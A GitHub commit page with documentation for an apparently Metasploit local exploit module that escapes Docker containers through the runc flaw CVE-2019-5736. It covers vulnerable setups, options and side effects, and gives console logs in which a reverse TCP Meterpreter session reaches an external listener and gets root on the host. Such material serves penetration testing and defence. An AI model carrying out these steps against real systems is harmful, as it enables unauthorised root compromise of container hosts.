-
Notifications
You must be signed in to change notification settings - Fork 13.9k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- add binaries - add documentation - backup `runc` binary in the exploit C file - add `MeterpreterBackground` options to set Mettle `background` option - add `WsfDelay` logic - refactor code - add cleanup logic - add restore `runc` binary logic
- Loading branch information
1 parent
21c3aab
commit ddf66e3
Showing
7 changed files
with
444 additions
and
67 deletions.
There are no files selected for viewing
Binary file not shown.
Binary file not shown.
229 changes: 229 additions & 0 deletions
229
documentation/modules/exploit/linux/local/docker_runc_escape.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,229 @@ | ||
## Vulnerable Application | ||
|
||
### Description | ||
|
||
This module leverages a flaw in `runc` to escape a Docker container and get | ||
command execution on the host as root. This vulnerability is identified as | ||
CVE-2019-5736. It overwrites the `runc` binary with the payload and wait for | ||
someone to use `docker exec` to get into the container. This will trigger the | ||
payload execution. Note that a valid session as the root user inside the | ||
container is needed. | ||
|
||
**WARNING**: Executing this exploit carries important risks regarding the | ||
Docker installation integrity on the target and inside the container (see [Side | ||
Effects](#side-effects) section). | ||
|
||
`runc` has been [fixed][1] in version [`1.0-rc7`][2] and included in Docker | ||
version [`18.09.2`][3]. | ||
|
||
This module has been successfully tested on Ubuntu 18.04.5 x64 and Fedora 28 | ||
x64. However, it doesn't seem to work on CentOS 7 x64. Also, it looks like the | ||
exploit is more reliable on Fedora than Ubuntu. | ||
|
||
### Installation | ||
|
||
|
||
#### Ubuntu 18.04.5 x64 with Docker version 18.03.1 | ||
``` | ||
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg | ||
echo "deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null | ||
apt-get update | ||
apt-get install docker-ce=18.03.1~ce~3-0~ubuntu | ||
``` | ||
|
||
#### Fedora 28 x64 with Docker version 18.03.1 | ||
``` | ||
dnf remove docker docker-client docker-client-latest docker-common docker-latest docker-latest-logrotate docker-logrotate docker-selinux docker-engine-selinux docker-engine | ||
dnf -y install dnf-plugins-core | ||
dnf config-manager --add-repo https://download.docker.com/linux/fedora/docker-ce.repo | ||
dnf -y install docker-ce-18.03.1.ce-3.fc28 | ||
``` | ||
|
||
### Side Effects | ||
|
||
#### runc | ||
The host `runc` binary will be overwritten during exploitation. The module | ||
takes care of making a backup before the overwrite and restore it when the new | ||
session is established. However, it might not work as expected and something | ||
could go wrong during the exploitation, which might avoid the session being | ||
created. In this case, `runc` won't be restored and the the host will no longer | ||
be able to run Docker containers. This process will need to be done manually | ||
somehow by following the instruction displayed during the module execution: | ||
``` | ||
cp <path to docker-runc backup> <path to docker-runc> | ||
``` | ||
|
||
#### shell | ||
The shell binary inside the container (set by the `OVERWRITE` option) will also | ||
be overwritten. However, the module makes a backup prior the overwrite and | ||
restores it automatically. This process is relatively safe, but something can | ||
still go wrong along the way. Again, this will need to be done manually, using | ||
the information displayed during the module execution: | ||
``` | ||
cp <path to the shell binary backup> <path to the shell binary> | ||
``` | ||
|
||
## Verification Steps | ||
1. Install Docker (see [Installation](#installation)) | ||
1. Start msfconsole | ||
1. Get a session as root inside a Docker container | ||
1. Do: `use linux/local/docker_runc_escape` | ||
1. Do: `set LHOST <ip>` | ||
1. Do: `set LPORT <port>` | ||
1. Do: `set session <session nb>` | ||
1. Do: `run` | ||
1. On the host target, run `docker exec -ti <container_id> /bin/sh` | ||
1. You should get a Meterpreter session. | ||
1. Verify you escaped the Docker container | ||
1. Verify `WRITABLEDIR` on the host is empty (cleanup successful) | ||
1. Verify `docker-runc` has been restored by running `docker-runc --version` | ||
|
||
## Options | ||
|
||
### OVERWRITE | ||
|
||
The shell that is going to be overwriten with `#!/proc/self/exe`. This will be | ||
triggered by a user running `docker exec -ti <container_id> <overwritten | ||
shell>`. Default is `/bin/sh`. | ||
|
||
### SHELL | ||
|
||
The shell the module will use in scripts (must be different than `OVERWRITE` | ||
shell). During the execution, some shell script have to be executed in the | ||
Docker container. Since the main `OVERWRITE` shell has been overwritten, | ||
another shell must be used. Default is `/bin/bash`. | ||
|
||
### WRITABLEDIR | ||
|
||
A directory where you can write files. Default is `/tmp`. | ||
|
||
## Scenarios | ||
|
||
## Docker version 18.03.1-ce (build 9ee9f40) on Ubuntu 18.04.5 LTS | ||
``` | ||
msf6 exploit(linux/local/docker_runc_escape) > options | ||
Module options (exploit/linux/local/docker_runc_escape): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
OVERWRITE /bin/sh yes Shell to overwrite with /proc/self/exe | ||
SESSION 1 yes The session to run this module on. | ||
SHELL /bin/bash yes Shell to use in exploit script (must be different than OVERWRITE shell) | ||
WRITABLEDIR /tmp yes A directory where you can write files. | ||
Payload options (linux/x64/meterpreter/reverse_tcp): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
LHOST 192.168.144.1 yes The listen address (an interface may be specified) | ||
LPORT 4455 yes The listen port | ||
Exploit target: | ||
Id Name | ||
-- ---- | ||
1 Linux (Dropper) x64 | ||
msf6 exploit(linux/local/docker_runc_escape) > run | ||
[!] SESSION may not be compatible with this module. | ||
[*] Started reverse TCP handler on 192.168.144.1:4455 | ||
[*] Make a backup of /bin/sh (/tmp/wSCJRb1) | ||
[*] Overwrite /bin/sh | ||
[*] Upload payload | ||
[*] Writing '/tmp/pMQAa0FYW' (250 bytes) ... | ||
[*] Upload exploit | ||
[*] Writing '/tmp/IP8LtTm7' (8672 bytes) ... | ||
[*] Upload loop shell script ('runc' will be backed up to /tmp/MKM9z) | ||
[*] Writing '/tmp/k41AYY' (344 bytes) ... | ||
[*] Launch exploit loop and wait for 300 sec. | ||
[*] Sending stage (3012548 bytes) to 192.168.144.135 | ||
[+] Deleted /tmp/pMQAa0FYW | ||
[+] Deleted /tmp/IP8LtTm7 | ||
[+] Deleted /tmp/k41AYY | ||
[+] Original runc binary restored | ||
[*] Meterpreter session 2 opened (192.168.144.1:4455 -> 192.168.144.135:51916) at 2021-05-21 19:01:03 +0200 | ||
[*] Done. Waiting a bit more to make sure everything is setup... | ||
[+] Session ready! | ||
meterpreter > getuid | ||
Server username: root @ ubuntu (uid=0, gid=0, euid=0, egid=0) | ||
meterpreter > sysinfo | ||
Computer : 192.168.144.135 | ||
OS : Ubuntu 18.04 (Linux 5.4.0-72-generic) | ||
Architecture : x64 | ||
BuildTuple : x86_64-linux-musl | ||
Meterpreter : x64/linux | ||
meterpreter > [*] Shutting down Meterpreter... | ||
``` | ||
|
||
## Docker version 18.03.1-ce (build 9ee9f40) on Fedora 28 x64 | ||
``` | ||
msf6 exploit(linux/local/docker_runc_escape) > options | ||
Module options (exploit/linux/local/docker_runc_escape): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
OVERWRITE /bin/sh yes Shell to overwrite with /proc/self/exe | ||
SESSION 1 yes The session to run this module on. | ||
SHELL /bin/bash yes Shell to use in exploit script (must be different than OVERWRITE shell) | ||
WRITABLEDIR /tmp yes A directory where you can write files. | ||
Payload options (linux/x64/meterpreter/reverse_tcp): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
LHOST 192.168.144.1 yes The listen address (an interface may be specified) | ||
LPORT 4455 yes The listen port | ||
Exploit target: | ||
Id Name | ||
-- ---- | ||
1 Linux (Dropper) x64 | ||
msf6 exploit(linux/local/docker_runc_escape) > run | ||
[!] SESSION may not be compatible with this module. | ||
[*] Started reverse TCP handler on 192.168.144.1:4455 | ||
[*] Make a backup of /bin/sh (/tmp/VHR0jdR8V) | ||
[*] Overwrite /bin/sh | ||
[*] Upload payload | ||
[*] Writing '/tmp/jPfX1LCnzb' (250 bytes) ... | ||
[*] Upload exploit | ||
[*] Writing '/tmp/aI0aDmv91K' (8744 bytes) ... | ||
[*] Upload loop shell script ('runc' will be backed up to /tmp/IevTLfZ) | ||
[*] Writing '/tmp/Rba74' (351 bytes) ... | ||
[*] Launch exploit loop and wait for 300 sec. | ||
[*] Sending stage (3012548 bytes) to 192.168.144.219 | ||
[+] Deleted /tmp/jPfX1LCnzb | ||
[+] Deleted /tmp/aI0aDmv91K | ||
[+] Deleted /tmp/Rba74 | ||
[+] Original runc binary restored | ||
[*] Meterpreter session 2 opened (192.168.144.1:4455 -> 192.168.144.219:60124) at 2021-05-21 18:34:46 +0200 | ||
[*] Done. Waiting a bit more to make sure everything is setup... | ||
[+] Session ready! | ||
meterpreter > getuid | ||
Server username: root @ localhost.localdomain (uid=0, gid=0, euid=0, egid=0) | ||
meterpreter > sysinfo | ||
Computer : localhost.localdomain | ||
OS : Fedora 28 (Linux 5.0.16-100.fc28.x86_64) | ||
Architecture : x64 | ||
BuildTuple : x86_64-linux-musl | ||
Meterpreter : x64/linux | ||
meterpreter > [*] Shutting down Meterpreter... | ||
``` | ||
|
||
|
||
[1]: https://github.com/opencontainers/runc/releases/tag/v1.0.0-rc7 | ||
[2]: https://github.com/opencontainers/runc/commit/6635b4f0c6af3810594d2770f662f34ddc15b40d | ||
[3]: https://github.com/docker/docker-ce/releases/tag/v18.09.2 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.